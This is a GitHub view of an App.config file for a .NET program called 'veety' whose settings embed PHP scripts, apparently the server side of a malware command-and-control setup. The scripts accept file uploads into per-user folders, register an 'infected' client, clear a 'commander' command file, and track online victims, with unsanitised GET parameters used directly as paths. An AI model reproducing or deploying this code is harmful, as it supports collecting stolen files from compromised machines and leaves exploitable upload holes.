-
Notifications
You must be signed in to change notification settings - Fork 0
/
App.config
135 lines (123 loc) · 4.36 KB
/
App.config
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<configSections>
<sectionGroup name="userSettings" type="System.Configuration.UserSettingsGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" >
<section name="veety.My.MySettings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" allowExeDefinition="MachineToLocalUser" requirePermission="false" />
</sectionGroup>
</configSections>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />
</startup>
<userSettings>
<veety.My.MySettings>
<setting name="RM" serializeAs="String">
<value>False</value>
</setting>
<setting name="rLogin" serializeAs="String">
<value />
</setting>
<setting name="rPassword" serializeAs="String">
<value />
</setting>
<setting name="UplUsrDta" serializeAs="String">
<value><?php
$name = $_GET['USERNAME'];
move_uploaded_file($_FILES["file"]["tmp_name"], $name . $_FILES["file"]["name"]);
?></value>
</setting>
<setting name="AddInfected" serializeAs="String">
<value><?php
$name = $_GET['USERNAME'];
if (file_exists($name) && is_dir($name)) {
echo "failed";
} else {
if (mkdir($name)) {
echo "success";
} else {
echo "Failed to create folder.";
}
}
?>
</value>
</setting>
<setting name="ClearCommader" serializeAs="String">
<value><?php
$file = 'commander'; // nazwa pliku do wyczyszczenia
// Otwieramy plik do zapisu, co spowoduje jego wyczyszczenie
if (file_put_contents($file, '') !== false) {
echo "success.";
} else {
echo "error.";
}
?></value>
</setting>
<setting name="AddOnline" serializeAs="String">
<value><?php
// Sprawdź, czy parametr 'tekst' jest ustawiony w URL
if (isset($_GET['UserID'])) {
// Pobierz tekst z URL
$UserID= $_GET['UserID'];
// Otwórz plik 'online.yml' w trybie dopisywania
$plik = fopen('online.html', 'a');
// Sprawdź, czy plik został poprawnie otwarty
if ($plik) {
// Dodaj nową linię na końcu pliku
fwrite($plik, $UserID . PHP_EOL);
// Zamknij plik
fclose($plik);
echo "success";
} else {
echo "fail";
}
} else {
echo "Nie podano tekstu.";
}
?>
</value>
</setting>
<setting name="RemOnline" serializeAs="String">
<value><?php
// Sprawdź, czy parametr 'UserID' jest ustawiony w URL
if (isset($_GET['UserID'])) {
// Pobierz wartość parametru 'UserID' z URL
$UserID = $_GET['UserID'];
// Wczytaj zawartość pliku 'online.html' do tablicy
$linie = file('online.html', FILE_IGNORE_NEW_LINES);
// Sprawdź, czy plik został poprawnie wczytany
if ($linie !== false) {
// Znajdź linię z tekstem równym $UserID i usuń ją
$nowe_linie = array_filter($linie, function($linia) use ($UserID) {
return trim($linia) !== $UserID;
});
// Sprawdź, czy nastąpiła zmiana (czy tekst został znaleziony i usunięty)
if (count($nowe_linie) !== count($linie)) {
// Zapisz zaktualizowaną zawartość z powrotem do pliku
$plik = fopen('online.html', 'w');
// Sprawdź, czy plik został poprawnie otwarty
if ($plik) {
foreach ($nowe_linie as $nowa_linia) {
fwrite($plik, $nowa_linia . PHP_EOL);
}
// Zamknij plik
fclose($plik);
echo "success";
} else {
echo "fail";
}
} else {
echo "Nie znaleziono podanego tekstu.";
}
} else {
echo "Nie udało się otworzyć pliku.";
}
} else {
echo "Nie podano tekstu.";
}
?></value>
</setting>
<setting name="ONLINEINDEX" serializeAs="String">
<value />
</setting>
</veety.My.MySettings>
</userSettings>
</configuration>